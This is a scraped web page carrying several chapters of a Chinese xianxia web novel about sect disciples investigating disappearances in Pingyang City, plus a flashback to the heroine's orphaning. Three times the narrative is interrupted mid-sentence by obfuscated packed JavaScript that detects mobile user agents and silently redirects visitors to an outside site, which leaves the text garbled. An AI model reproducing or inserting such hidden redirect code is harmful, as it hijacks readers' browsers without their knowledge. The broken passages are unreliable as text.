他悠悠叹了口气,“我方才只是可惜那宋小姐。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471900|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “可惜?”薛予蓁不解。 子书珹道:“三年前在平阳城举办了一场丹药盛会,我代表子书家来主持,谁想临到开场,那主事人突然生了大病。我那时刚刚赶去,事事都不了解,都打算赔礼道歉,将丹会延期了,这宋小姐却站出来说她有法子。” 他摇摇头,“最后真叫她解决了。若是宋家任她发挥才干,不日也能在渝州打出名声来。可偏生要将她嫁到张家去,要去攀附张家。” “那为何宋家……” 听见这话,子书珹冷笑一声,“那宋明仁的夫人生宋小姐的时候难产,落了疾,再不能生育了。他家想要儿子来继承家业,可笑的是,即便又纳了好几位,也只出女儿不出儿子。” 他自己家便有不少妹妹,家里哪个大人不是将她们放在掌心里宠着疼着,“宋明仁日渐老了,不想被兄弟分去好处,只能拿女儿从出去换好处了。” 薛予蓁并非不知道有些家里就是只爱男儿,不在意女子,但她也只是在闲时听见她娘同爹爹抱怨过那些事情。 他们家将她当作掌上明珠般宠爱着,在墟山她也看见师父很爱很爱师姐,愿意为她不再收徒,愿意为她修一个四季长春的阵法。她头一次直面这样的不喜,这样的以子谋利,一时有些说不出话来了。 子书珹当她是被这事吓着了,亲昵的搂着她的肩往别处走去,“放心吧,没有人能够这样对待我们小予蓁。将来,如若是遇见倾心之人便一道生活,若是没有,师兄师姐也愿意一辈子照顾着。” 薛予蓁心中一暖,她也早已不再是小孩子了,能判断子书珹说这话时到底是在开玩笑还是真正动了这样的心思。她很好奇,为什么这位师兄对自己这么好,但一时也没问出口。 许乐禾不知道自己疯狂采购时后面到底发生了什么事情,等他满意的从各个铺子里脱身出来时,便看见两位同门的脸上都没了先前的快乐,取而代之的是淡淡的愁容。他摸不着脑袋,“你俩这是怎么了?钱没带够?” 许师兄正经的时间实在是太少了,而且心中正义感过多,薛予蓁怕事情现在告诉他,他能当街骂起来,便没有开口。 反而是子书珹笑眯眯地看着他,“乐禾师弟,逛了这么久了,看出平阳城有什么问题了吗?” 墟山的弟子除了自己主修的之外,什么都要再学一些,许乐禾记得自己年岁还小的时候,被自家师父塞给了子书珹学符咒,子书珹平常看着一副只贪图玩乐的样子,却在修习上格外的严肃——不同于徐赠春板板正正的模样,他说是不愿意黑着脸教人,但嘴里吐出来的却是对对方的毁灭性打击。 许乐禾还记得自己被他笑意盈盈的一遍又一遍的骂猪脑子,听见这话浑身都不自在了。但他好歹年岁摆在这里,也不是第一次下山的新手了,“平阳城中有些太干净了。” 薛予蓁略一思索,便明白他是什么意思了,也跟着点了点头,“确实如此。” 子书珹惊讶地看着她,问道:“何出此言?” 薛予蓁思考了一下,示意子书珹去看那些偏僻的巷口,道:“小时候,阿娘总爱带我去堇衣镇玩,偶尔去卖货会把我放在店外,我看见巷子口总会有些乞丐流民……可平阳城却没有,但分明城外……” 她话没说完,子书珹明白她说的是那个疯女人。 他满意地看着薛予蓁,“不错,这就是平阳城奇怪的地方。” “堇衣镇就在墟山下面,依靠着知源宗,虽然地方小,但也算是富庶,可即便如此,镇内镇外也还是有流离失所的乞丐。” 子书珹带他们去的地方并不是城中繁华地带,他指了指几处小巷子,“平阳城虽然是几处大城的交界,颇为富饶,但比它更要富饶的鹊柳城和白溪城都不敢说城中已无乞丐流民,可它却是一个都没有。” 4. 第四章 手绢 薛予蓁没有在镇里进过学堂,只在家里听父亲讲,听阿娘讲。天灾人祸,有意为之的祸害,都会让有些人失去家园,失去庇护,不说和平安稳的年代会有这些事情,更别说现如今谈不上安稳的日子了。 城中那些百姓不愿意去的脏污小巷或是贫民集中的城西,师兄妹三人都去看过,竟然真是一个沿街乞讨的人都没有。 这样的发现更是让人不寒而栗,不禁去想象藏在这一派人声鼎沸,风平浪静之下的腌臜事情。 站在巷口往深处看去,只能看见被不知什么人堆砌的陈年货物。 薛予蓁正要转身离去,余光却瞥见地上的一抹桃红。 她疑惑地走过去看,在货物后面是稻草铺成的小床,桃红的手绢不知被遗弃了多久,混着泥水被丢在一边。 薛予蓁倒是不嫌脏污将它拾起来看了看,桃红手绢看起来有些年头了,线头乱窜,边角处以金黄色的线绣着一个名字,只是这手绢??在泥水里,早看不清绣的是什么字。 她小心翼翼地将手绢叠起来包裹在自己的绢子里放进袖中,还想再看看深处时却听见了子书珹喊她的声音。 一扭头便见子书珹面色沉沉地走来,她正想向师兄分享自己的发现,却被他一扇子狠狠地敲在头上。薛予蓁吃痛地捂住额头,无辜地看向他,“子书师兄?” 观她一切安然才松了口气的子书珹道:“一转眼的功夫就不见了,吓得我和许乐禾都要去寻白掌门借人找你了。” 他见小师妹一副委屈巴巴的模样,又忍不住心疼,抬手想去帮她揉揉痛处,却教人匆忙闪开了,更觉好笑,“躲什么?师兄教训的不对?我们此次并未下山进城并未声张,在旁人看来也不过是外地人。若是被那藏在背地里的人找了机会钻了空子,你这落单的‘外乡人’便是新的受害者。” 听见这话,薛予蓁有些不好意思,但她也明白了为何平阳城中明明怪事发生,却无人在意。那些受害者不知是从哪里逃难过来的流民或是一个人到平阳城的旅客,本就无人认识,即便是失踪了也没人会去找清水宗找人 。 她想将自己捡到的手绢拿出来给子书珹看,他却摇头道:“咱们回客栈再说,徐赠春那边应当也有了新的消息。” 到平阳城时便是下午时分,众人连日奔波,再好的精力都撑不住。薛予蓁坐下后便趴倒在桌子上。 子书珹回了客栈便叫小二制备饭菜送到了房间,虽然众人都已辟谷,但只干巴巴地坐在这里说话,多少有些无趣。 客栈的吃食不含灵力,几人挑挑拣拣地用了些后就进入正题。 徐赠春一向直白,也不做什么铺垫:“白掌门说近几年来平阳城便有流民乞丐失踪的情况发生,只是近日里这样的情况越发明显,再者,偶有子夜时分有人听见城西南那边有惨叫声,城中的人们也有些不安起来,所以才向知源宗求助。” 她掏出一卷卷宗,“这是四年前第一起失踪案的卷宗。” 薛予蓁凑上去看了看,上面写着四年前有一个乞丐失踪,或许是另一人平日里与他交好,即便是没有什么深切的关系,却也是去清水宗挂了委托寻人,只是…… “咦?‘作废’?为何是这个结果?”薛予蓁不解。 徐赠春将卷宗递给许乐禾,“因为失踪的人还没寻见,那位挂委托的人也不见了。” 她看向子书珹那边,“你们今日又有什么发现?莫不是一下午都在街上寻欢作乐?” 薛予蓁没听出来徐赠春语气里的敌意,道:“徐师姐,我们今日撞见了一位姓宋的姐姐,她说若是城西南那间老宅子的事情,可以去问她。还有,城中太干净了,我和子书师兄,许师兄看了很多地方,平阳城中现如今似乎是没有乞丐和流民了。” 面对薛予蓁,徐赠春的态度总是要温和许多,她道:“宋?平阳城中虽然说是三大家族,但除却张家,其他两家都快要没落了罢。不过,”她从袖中拿出平阳城的地图来,指了指城西南的那块地,“若是说这里,那是张家的旧宅,早就荒废了。” 陶小雨道:“今日同白掌门问询细节的时候,也听他说张家这几年如日中天,甚至有些隐隐要胜过他们这个驻地宗门的苗头。三大家族会是事情的突破点吗?” “小人不才,这三大家的情况,下午是问出些门道了。”许乐禾笑道。 他本就口才了得,又是健谈的性子,到哪都能和别人说上两句。 下午在那脂粉铺子里乱窜的时候,更是谁说话都要接上一句,许乐禾也不卖关子,“大家说是三大家族,其实说不定过个把年就是张家一家了。” 平阳城三大家族——宋,刘,张。宋家和刘家世代在此,彼此之间有些姻亲关系。而张家是四十多年前一场时疫时进的平阳城,那时他们家中有一药师。张家便凭着疫病时售卖草药丹药起家,才有了如今的地位。 另外两家虽然在此已久,但不知是不是故步自封的缘故,逐渐开始走下坡路。宋家要稍微好些,刘家若是说一句泯然众人也不为过。不过三年前宋家和张家结了亲,攀上张家后更能挺直腰板了。 又过了一年多,刘家眼馋张家给宋家的好处,也把自己家的女儿送进给张家小子做小妾。 “不过,那位刘小姐进门后没过五六个月便失踪不见了,张家给的说辞是出去游玩时遇见山贼,被人给——”许乐禾比了个抹脖子的手势,“那刘家也是吃相难看,先前还不依不饶地要给女儿讨说法,张家又给了几个好处之后便不再作声了。” 薛予蓁又想到宋璇,“这也太过分了吧!”她掏出自己捡到的手绢,“我在巷子里捡到了这个,不知道能不能发现什么。” 陶小雨打了盆水将手绢洗干净,一行人围在一起看上面绣的名字——宋璇。 薛予蓁有些怔然。 今日虽然是匆匆一见,她便感觉这位宋璇宋小姐是一位温柔的人,更别说她一身华服,怎么看都和这块破破烂烂的手绢没什么关系。 子书珹将手绢收了起来,“今日大家都辛苦了,先回去好好休息,明日我们去张家拜访一下这位,宋小姐。” 腰间的传音玉符亮了起来,薛予蓁叫住众人,“等等,师兄来了消息。” 她将玉符放在桌上,褚霁远的声音从中传了出来,“小风筝?我猜你们已经到了平阳城,情况如何?” 薛予蓁将今日遇到的事情和几人调查到的线索同褚霁远讲了一遍。玉符那边的人沉吟了一会儿,道:“倒是和清水宗传来的卷宗无异。城中事态非同寻常,你们小心。” “知道了,师兄。” 玉符的柔光散去,众人也纷纷回房。 薛予蓁和陶小雨回房后一直心不在焉的,站在窗前愣神。见状,陶小雨问她要不要再出去走走,“你若是一直这样,也睡不好觉,不如出去看看。” 薛予蓁摸了摸鼻尖,“虽说只凭一面之缘就去相信一个人有些太过于蠢笨了,可子书师兄也说宋璇是一个……” 她还没说完就被拽出了房门,陶小雨牵出一抹笑容,“不说了,咱们直接去看看。” 两人不多时就到了白日里薛予蓁去的那条小巷子里,临近宵禁,城中已经没什么人了。两人对视一眼,抽出佩剑小心翼翼地往巷子深处走去。 路过那个小草铺时,薛予蓁留心看了一眼,并未有什么新的发现。小巷七拐八拐的,又窄又长,两人神经紧崩着走到了最后,都没再看见什么。 这条小巷尽头竟是一条不知道通向哪的小路,薛予蓁正思索着还要不要继续往前走,抬眼便发现眼前一抹银色逼近,她脸色一变,侧身躲过了这一剑。 那人立马转了剑锋,薛予蓁提剑抵挡,“铮铮”两声将落后几步的陶小雨吓了一跳,她快步奔走到薛予蓁身边,提剑就要攻去。 那蒙面人一愣,嘀咕了一句“居然不是一个人”,便撤身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471901|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开。 薛予蓁拦住意欲继续追赶的陶小雨,“子书师兄说得对,”她对着不明所以的陶小雨道,“这几日,千万不要独自——”想到这里她愣了一下,若是假意被抓,能够混进那些人的大本营里,说不定事情就能解决了。 “予蓁,千万不要独自什么?”陶小雨问道。 薛予蓁被自己的想法惊出一身冷汗,现如今他们刚刚进城,对敌人的底细一点都不知道,要是就这样去做,后果不堪设想。她摇了摇头,把剑收回剑鞘,“千万不要独自行动!” 看了看小路,“这条小路不知道通往哪里,夜色已深,不便再探。我们先回去,明日叫上子书师兄他们再来吧。” 两人又一路警戒地回到了客栈。快到时,薛予蓁才想起她们俩出门时没有告诉同行的师兄师姐,霎时后背有些发寒,“小雨,今晚的事情就不要给子书师兄他们说了。” “哦?”熟悉的声音从背后传来,“我们小风筝,下山这才几天,就学坏了?” 薛予蓁心虚地扭头去看,“子书师兄,你怎么还没睡啊?” 子书珹微微一笑,“原本想着师妹可能不太适应山下的生活,打算关心一下,结果敲了许久的门都无人回应。情急之下就直接进去了,谁知里面一个人都没有。” 说完,他脸色一下就沉了下去,“去哪了?又有什么不能说的。” 陶小雨自然知道这气是冲着薛予蓁去的,但人是自己拉着出去的,心中也心虚不已,正要上前说明原因,却被子书珹一个眼神定在原地。 “只是去了下午看过的那个巷子,”薛予蓁小声道,“而且也不是一个人去的。” “不是一人便可以?”子书珹依旧语气肃然,“你怎么确定藏在暗地里的人只有一人?今日没出事算是你们运气好,在什么线索都没弄清楚的时候最忌擅自行动,等回了宗门,你们自去领罚。” 薛予蓁还想狡辩两句,但的确没理,只得悻悻地点头应是。陶小雨拽着人回去,心里也清楚她和自己不一样,虽然在知源宗只待了四年,但却是掌门的徒弟,若是出了事情,就算不是自己提议出门,也难逃其责。 但薛予蓁还想着给她道歉:“抱歉啊小雨,害你被连累了。” “怎么还自己揽了错处去,明明是我先提的。”陶小雨回道。 薛予蓁不打算再在这事上纠结了,笑了一声推开房门,“不再去想这些了,今日先好生休息,明日说不准还有更多事情要做。” -- 知源宗,褚霁远收了玉符,正要进大殿,余光瞟到一抹倩影,他脚步一转,将偷听的人抓了出来。施淼淼吐了吐舌头,讪讪道:“晚上好呀,师兄。” 褚霁远好笑地敲了一下她的额头,道:“想听便光明正大的听,躲躲藏藏做什么?” “小风筝怎么样?”施淼淼问道。 想着方才薛予蓁兴致勃勃的声音,褚霁远挑眉道:“听起来很是活泼,应当适应得不错。”他看向施淼淼,眼神询问她还有什么想知道的。 但施淼淼只是伸了个懒腰,摇摇头,道:“知道她很好就足够了,多谢师兄。夜深,我先回去了,你和爹也早些休息吧。” 说着,便带着凫华离去。 褚霁远在殿外站了好一会儿,直到一只飞鸟传来一道消息,他才缓缓迈入殿中。 书房内,施明尘正伏案写着什么,听见他进门,头也不抬地问道:“小风筝如何?” 褚霁远一愣,这俩父女真是一模一样,他道:“她很好。师父,平阳城的探子方才来信,有两名药谷的弟子未经通报进了城。” 施明尘笔尖一顿,抬头看他,“药谷的弟子吗……”他转头看向书架上放置的香囊,“若是这样,那四年前山下的那场灭门惨案也与他们脱不了干系。” 四年前……褚霁远顺着施明尘的视线看去,目光落在那枚染血的白虹花上,喃喃道:“薛予蓁……” 5. 第五章 凶害 四年前褚霁远刚出关便被告知墟山下出了事情。 一场异常激烈的大雨冲坏了堇衣镇外的一座荒废老庙。庙里供奉的是什么人早就无人在意,只是在半年前发生了一起惨烈的凶杀案,老庙里煞气、怨念冲天。 为保镇里人的安全,知源派人修了阵法以此镇压。谁知大雨冲垮了老庙的屋顶,里面阵法被破坏,四散的邪灵都有些蠢蠢欲动。 阵法残损后镇长第一时间叫人修书知源宗,倒是受损不多,只有几人因贪图财物,非要去那破庙里捡金银之物,被凶祟打了个措手不及。 但好在堇衣镇一直在知源宗的庇护下,凶祟邪灵的威胁并不大。数十名弟子得令之后便加入了救援的行动中。 “褚师兄,那几名伤者徐师姐都已看过,不过是祟气入体,辅以芊茗草入药,喝上几天便好。”一名弟子朝为首的黑衣男子抱拳说道。 褚霁远面上不显什么情绪,他只淡淡地看了两眼那几名伤者,“让徐赠春配好伤药后便与庄和枝将阵法修好。” 弟子愣了一下,他不敢与褚霁远对视,小声说道:“可师姐说,先前的阵法是您布下的,他们恐做不得这事。” 在宗门内时,褚霁远都是着月白色的弟子袍,虽是平日里冷淡了些,门内师弟师妹的问题却也算得上有问必答。下了山他却偏好黑衣,配上那副冷冰冰的表情,活脱脱煞神现世,叫人不敢多说些什么。 “若是连这阵法都解决不了,那他二人这半年是在做什么?”褚霁远道,“让庄和枝带人料理好镇里的事情,我去镇外看看。”说完他便朝着后山走去,看也不看那小弟子生无可恋的表情。 镇外也有几户人家,多是散修或农户。褚霁远却直奔林间里的那户人家去,还未见到屋舍,便能嗅见浓重的血腥味。他不动声色地抽出敛芳华,长剑灵气四溢,剑光凌厉,若是看见歹人,顷刻间便能要其性命。 走近屋舍时他却是罕见地愣了一下——在此处的并不是旁人,而是山雨门的弟子。 来者见到褚霁远并不慌张,抬手向他打了招呼,“哟,褚兄,许久未见。” 褚霁远点头,却是问道:“岷洲路远,山雨门的人为何在此处。” 肖黎抖落剑上的泥土,长叹一口气,“说来话长啊,但若是褚兄来问,我自然是长话短说。” 他侧身一让,叫褚霁远可以看清后面的样子。农家小屋被打得七零八落,院里多得是鸡鸭牲畜的尸体,血污简直都要将这黄土原本的颜色遮盖了。破了个大洞的屋内跪坐着一个小姑娘,她头发乱糟糟的,脸上不知是沾的泥还是血,脏兮兮的。 几名山雨门的女弟子正围在她身旁小心翼翼说着些什么。但那小姑娘半分反应都没有,只死死的抱着怀中女子的尸首,小姑娘抱着她的头,便也无人看得见女子的脸,只是从两人身下的那滩黑血看得出,女子恐怕死状难看。 肖黎道:“师父几日前算了一卦,说是有位老友恐有大祸,叫我前来相助。谁知我们出发后没多久就被几名黑衣人缠住,花了不少时间才脱身。”他顿了一下,“但不过只耽搁了片刻,赶到时就只看到这样的局面。” “不过褚兄,这事发生在你们墟山的地盘里,难不成知源宗未曾察觉到有魔修在此处作乱?” 褚霁远顿时眼神一变,“魔修?” 肖黎用剑鞘指了指那名女子,“那位前辈厉害,只身应对至少五名魔修,最后或许是要保护她女儿,与他们同归于尽了。” 一个时辰前褚霁远才出关,没过多久就带着一众弟子下山来。若是在此期间发生的,他们不可能察觉不到。 “你们是何时到此处的?” “半个时辰前,”肖黎倒也是有问必答,“不过看此处的痕迹,这家人遇害是一个时辰前的事情了。” 他领着褚霁远在屋舍周围看了看,“若我的猜测没错的话,恐怕半盏茶的时间不到,他们就……而且,这位前辈既然是我师父的老友,修为肯定是不低的。你再瞧瞧周围的痕迹,有些可不是人修能弄出来的——” “有魔族的痕迹。”褚霁远道。 肖黎点头,“不错,恐怕这也是前辈死亡的真正原因。”他惋惜地看了看那位女子,“若不是路上被耽搁了一会儿,或许还能避免这场灾祸的发生。” 说话间几名山雨门的弟子走了过来,“师兄,另两位的尸首已经埋葬好了,就差那位了。” 小姑娘亲眼目睹家人横死,眼神空洞,似乎是被什么魇住了,也可能只是被吓傻了。几名女弟子不忍心强行将女子从小姑娘怀里抢走,只能围在一旁说些宽慰的话,可似乎是一点作用都没起。 褚霁远看去,在知源宗修行的二十多年里,他曾经多次撞见过这家人。 印象最为深刻的一面,应当是七八年前。那日,家里大人或许是进镇里找活做,只留下两个小孩,哥哥带着妹妹在院子里识字。 细长的树枝拿在哥哥手中,在地上一笔一划地写妹妹的名字。 他听见过女人唤小姑娘的小名——小风筝。是个自在的名字。 听见他的脚步声,两个孩子齐齐扭头看他。 虽然都还小,却见了生人也不害怕,十岁的哥哥礼貌地询问是否要歇脚,六岁的妹妹怯怯躲在哥哥身后,睁着双乌黑发亮的眼睛小声地说大哥哥,你要不要喝水。 今日却只剩她一人抱着母亲的尸体。褚霁远从旧事中回过神来,朝着那位小姑娘走去,在一众山雨门弟子的注视下,一掌劈在了她的后颈处。小姑娘连叫都没叫出声来,就软绵绵地倒在了他的怀里。 几位女弟子手忙脚乱的接住了那位女子,将人恭敬地放平在地上。女子胸口处插了一把断剑,脸色惨白,早已没有了呼吸。褚霁远仔细地看了看她,却不记得自己记忆里有这样一位前辈。 肖黎啧啧称奇,“从前只听过传闻说褚兄对待知源宗的弟子都和煦得很,没想到还有如此一面,也不心疼这小妹妹刚刚死了全家。”他这话里也没多少心疼,倒是好意思在这说别人心冷面硬。 “那要如何?难道叫她抱着她娘,一起死?”褚霁远懒得理他。 肖黎摇摇头,“我倒不管这些,”他招呼着几位师妹将这位母亲抬去下葬,“师父同这位前辈本就许久未见,此次也只说是从前欠了人情要还,但看来是前辈没这命受这人情。” 他又抬手一指,“这一家三口都葬在那片小湖旁边,若是小姑娘还有清醒的可能,就叫她去看看吧,也算是替师父偿还了这人情债。” 褚霁远皱眉,“你们不将她带回去?” 肖黎脸上一惊,“褚兄为何会觉得我要带她回去?”他虽然表露出一副同情的模样,眼中却无半分的怜爱,“我们山雨门何时在世人眼里成了善人的模样了?” 说罢他便抱拳做了个告别礼,“既然人是墟山的人,事是墟山发生的事,那便劳烦褚兄来解决了。师父只给了五天的时间来办此事,因这小姑娘就耽搁了不久。” 他御剑离去前“好心”提醒道:“虽说封印是那几位老老前辈布下的,但这五百多年过去了,不乏有小人要作怪。褚兄,墟山还是当心些吧。” 肖黎走得潇洒,留下褚霁远抱着小姑娘看着残破的院落出神。他低头去看怀里的孩子,或许是为了躲避,在不知道什么地方藏匿着,脸上除了母亲的血还有不少泥。眼睛紧闭着,偶尔睫毛微微颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471902|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖,昏也昏的极为不安。 透过血污倒也能依稀看得见当年那个粉雕玉琢的小丫头的影子来。 褚霁远轻叹一口气,去探她的灵脉,眉梢微微一挑。 虽然身无分毫灵气,却有着极佳的灵脉——极佳到了什么样的程度呢?若是寻常孩童处于这怨气横生的地方,怕是不出一刻钟便要被凶祟霸体了,而她却像是被什么东西护着一样,身上纯净得很。 若是开了灵,不说她去吸收灵气,倒不如说是灵气主动来找她。 本想着将她带到镇中找个好人家收养了,但带着这身灵脉,若是运气不济遇上什么心思歹毒之人,不知这小姑娘又会遭遇些什么。 褚霁远看着蜷在自己怀中的小姑娘,断了这个想法。 庄和枝和徐赠春修补好阵法赶来后,便是看到褚霁远抱着孩子的样子,被惊得险些拔剑验证师兄的真身了。 庄和枝心细,看着周遭惨败的模样,心下了然,“师兄,这里可需布下阵法?” 想到先前肖黎所说的魔族的踪迹,褚霁远简单的同两位说了一下,也不管两人骤变的脸色,只道:“不必,回宗门后请各位长老到大殿议事。” 徐赠春看向被他抱在自己怀里的小女孩,问道:“这孩子怎么办?可是要带到镇中去?” “不必,她的去处我自由安排。” 师兄都这样说了,他们便也不再操心这件事。 -- 但二人怎么想也没想到,褚霁远说的好去处是把她带上墟山。倘若是把她放在外门或是安置在药圃做个洒扫倒也好说,褚霁远却是直接将人带上了内门。 回到宗门后褚霁远便去主峰同掌门长老议事了,还陷在昏迷中的小姑娘叫他交给了徐赠春看护。 宗门弟子一个个都盼着师兄回来,自然也是看见了小姑娘。一时间也不去修习了,只围在一起议论纷纷。 “要我说,咱们也算是堂堂正正经过了入门考核,即便是只进了外门,也是来的光明正大。怎么他褚霁远说能进,就随随便便给人进了内门。” 人人皆知褚霁远是宗主的首徒,光风霁月,翩翩君子,能入掌门之眼自然不止如此,更是天纵奇才,不到三十便是元婴期后期。 不论是外门弟子还是内门弟子都对这位师兄尊敬的很。但少年意气难免会存有取而代之的想法。褚霁远听见这些说法也不恼,直说要是能胜过他,让他喊一声师兄也无妨。 “难不成是褚师兄要收徒了?” “怎么可能,论年龄褚师兄今年才二十八,论修为师兄再厉害也还是元婴修士。” 处于话题中心的褚霁远对这些猜测一概不知,他向宗主和几位长老说明了山下发生的事情。 宗主施明尘听闻山下有魔族的痕迹出现,面色沉沉,“封印…当是无碍的,除了三百年的那道,后面第二层封印均与五宗密切相连。沉浮楼近日并无异动。霁远,你下去叫内门弟子五人一队,三日轮换的方式在堇衣镇和墟山巡查。也要同渝州其他宗门讲明今日发生的事。” 他轻叹道:“这五百年间虽无大事发生,可当年的魔族残余却也无人敢说尽数清缴。 褚霁远点点头,看向施明尘,“师父,徒弟还有一事要说。” 众长老见他不叫掌门叫师父,便知道是要说些私事,纷纷找了借口走了。 施明尘这时面色好了许多,他笑眯眯的看着自己的徒弟,“越大越不见你这般模样了,我听说你从山下带了个孩子回来,与她有关?” 褚霁远颌首,正要开口,却见浮鸢长老去而复返。她面色凝重,“霁远,赠春方才急匆匆来找我,说是你带上来的那个小孩跑了。” 6. 第六章 金珠 要找个手无缚鸡之力的孩子简单得很,更别说褚霁远为了以防万一,提前施了追踪符。 最后人是在山门前找到的,山门设了禁制,没有腰牌的人进出不得。 小姑娘跌坐在石阶上,双手还有未干的血迹,她似乎是听到了脚步声,抬头望去,眼神竟已清明。 也不知她是如何拖着疲软的身体走到山门前,旧伤未消,新伤又添了不少。 她看着来人,泪水又不自觉地落下,声音嘶哑:“仙长?可不可以让我出去,我要去找我娘,我爹,我要去找我哥哥,我要去找他们,放我出去……” 她说完见没有人说话,心下一急,直接面朝着施明尘跪下,额头磕在石阶上闷声一响,“求求你了仙长,求求你了,求求你……”到最后声音都带着哽咽。 施明尘看着她有些犹疑,他是知道山下发生了什么事情,也知道她家里发生了什么事情,但看着她这副模样,竟然不知道要如何将死讯说给这个孩子听。 褚霁远却不考虑那么多,他淡声道:“你家人已经遇害了。” 小姑娘并不是三五岁的稚儿,她也还记得亲人遇害时的样子,她声音颤抖,词不成句:“我知道的,我知道……我……看看他们,我再看看……” 听见如此回答,褚霁远惊讶地看了她一眼。他本以为她至少要几个月才能从这莫大的悲痛中走出来,没曾想不过半个时辰,她便能直面至亲的离世。 不过山下情况未知,虽然堇衣镇的麻烦解决了,但薛予蓁一家到底是如何遇害,遭何人杀害的,他们一概不知。 褚霁远摇头,“现下还不能让你下山,不过你父母的遗体不必担忧,已经有人将他们下葬。等到了时候,我自然会带你去的。” 周围围观的弟子叽叽喳喳地议论不停,褚霁远听得恼怒,正想训斥,就见一名少女拨开围观的弟子,毫不客气地斥责道:“晚修钟声早已敲过,为何你们还在这里?!” 众弟子见是宗主之女,都不敢再看,匆匆行礼后赶去了学堂。 施淼淼看着他们四散的背影轻哼一声,而后转向褚霁远和施明尘抱拳行礼,“师父,师兄,若是信得过淼淼,便将小师妹交给淼淼照顾吧。” 施明尘大吃一惊,“小师妹?什么小师妹?我怎么不知道?” 看着父亲茫然的模样,施淼淼笑道:“我早便知道师兄将人带回内门是什么个打算。我没意见。”她看了一眼孤零零缩成一团的小姑娘,又看向施明尘,道:“爹爹,竹晏峰春光柔和,但我一人实在孤独,有师妹相伴最好不过。” 施明尘指了指施淼淼,又伸手打了一下褚霁远,随后一甩袖子,笑道:“罢了罢了,依你们依你们。” 施淼淼兴高采烈地去安抚小师妹,而褚霁远却拦住了施明尘,“师父,还有件事,不便叫太多人知道,”他略略压低了些声音,“弟子在那户人家里见到白虹花的纹式。” 施明尘一下就收了笑,“这!”他蹙眉想了想,“是那户人家的,还是……” “弟子不知,那块纹式被血染了,不甚清晰,何况屋内还被人翻了个底朝天。这东西到底是屋主人的,还是有人落下的便不得而知了。” 施明尘沉默了许久,“此事暂时莫要声张,你我知道便好。” 此事重大,褚霁远自然不会四处去说。师徒二人一时间都没说话,只看着前面两个孩子搂在一起。许是施淼淼赚到了师妹的好感,正背对着她蹲在她面前,要背她。 两人就这样摇摇晃晃地朝着竹晏峰走去。 --- 四处都是血,母亲胸前破了个大口子,无论她如何去遮盖都遮盖不住,血还是止不住的往外流着。再后来她便动弹不得了,只看见娘跪倒在她面前,对她说抱歉,说对不起,念着她听也听不懂的咒术。 好多看不清面孔的人伸着手要来抓她。她吓坏了,看着不断靠近的人,眼中恐惧愈加浓重,大喊着,“走开!走开!”双手还不断地挥舞着,想要驱赶眼前的人。 待眼前的人离开后,薛予蓁便跑出了房间,她拼命跑着,四周的景象飞一般地变幻着。 忽的眼前场景一变,她跪坐在石阶上,身旁现出月白色的衣角,她闻到了一丝桃花香,薛予蓁怯怯地抬头看去,面前不是歹人可憎的面孔,是位长相好看的小姐姐。 小姐姐笑得眉眼弯弯,特别温柔,说话也柔柔的,“总算肯抬头啦?” 薛予蓁紧绷着的身体放松了许多,她看着施淼淼,张了张嘴想要说话,流出的却是低低的呜咽。 自己被搂进一个温暖的怀抱中,少女连声安慰道:“没事啦,你现在很安全哦,师姐带你回去吧。” 竹晏峰终年春日和煦,桃花久开不败。 薛予蓁站在桃花林中缓了很久才想起这是刚上墟山时的事情,施明尘早年便对外宣称小女儿施淼淼将会是他最后一个徒弟,这厢突然又再收一个徒弟,也不好大肆宣扬,只叫薛予蓁在竹晏峰奉了拜师茶,给了她弟子牌。 施淼淼怕有人使诈,拿着薛予蓁的弟子牌看了好半天,确定了是掌门亲传的样式后才放心给了她。 薛予蓁正伸手要接过玉牌,却见玉白温润的玉牌上渐渐染上血色,她手一顿,抬头看去——施淼淼不知变成了一个双目凹陷,流着血泪的女人。 “!”薛予蓁陡然睁开双眼,大口喘息着。好一会儿才意识到自己是做了一个梦。 自打在墟山安顿下来之后,薛予蓁便再没有做过噩梦,或许是几日的劳累,又或许是听见了平阳城失踪案的事情,今晚却罕见的梦见了往事。 一身冷汗的惊醒时却发现天已经擦亮,旁边的陶小雨还在睡梦中。薛予蓁轻手轻脚地起身出了门,眼底还有些化不开的惊惧。 天还蒙蒙亮,已经有小摊贩推着小车来占位置了。薛予蓁站在客栈门口看着忙碌的人群,才堪堪找回了点心神。回过神的时候才发现自己身旁站了个人——是游鸿。 游鸿见她看自己,“师姐,晨安。” “晨安,游师弟。”薛予蓁看了看天色,“你起的好早。”该说不愧是考核前三吗? 游鸿愣了一下,摇了摇头,“并不是师姐想的那样,我想着今日可能师兄师姐还有要事安排,想着先起来去拜访一下故人。” 薛予蓁疑惑:“故人?” 游鸿点了点头,应道:“嗯,我曾经住在平阳城。” 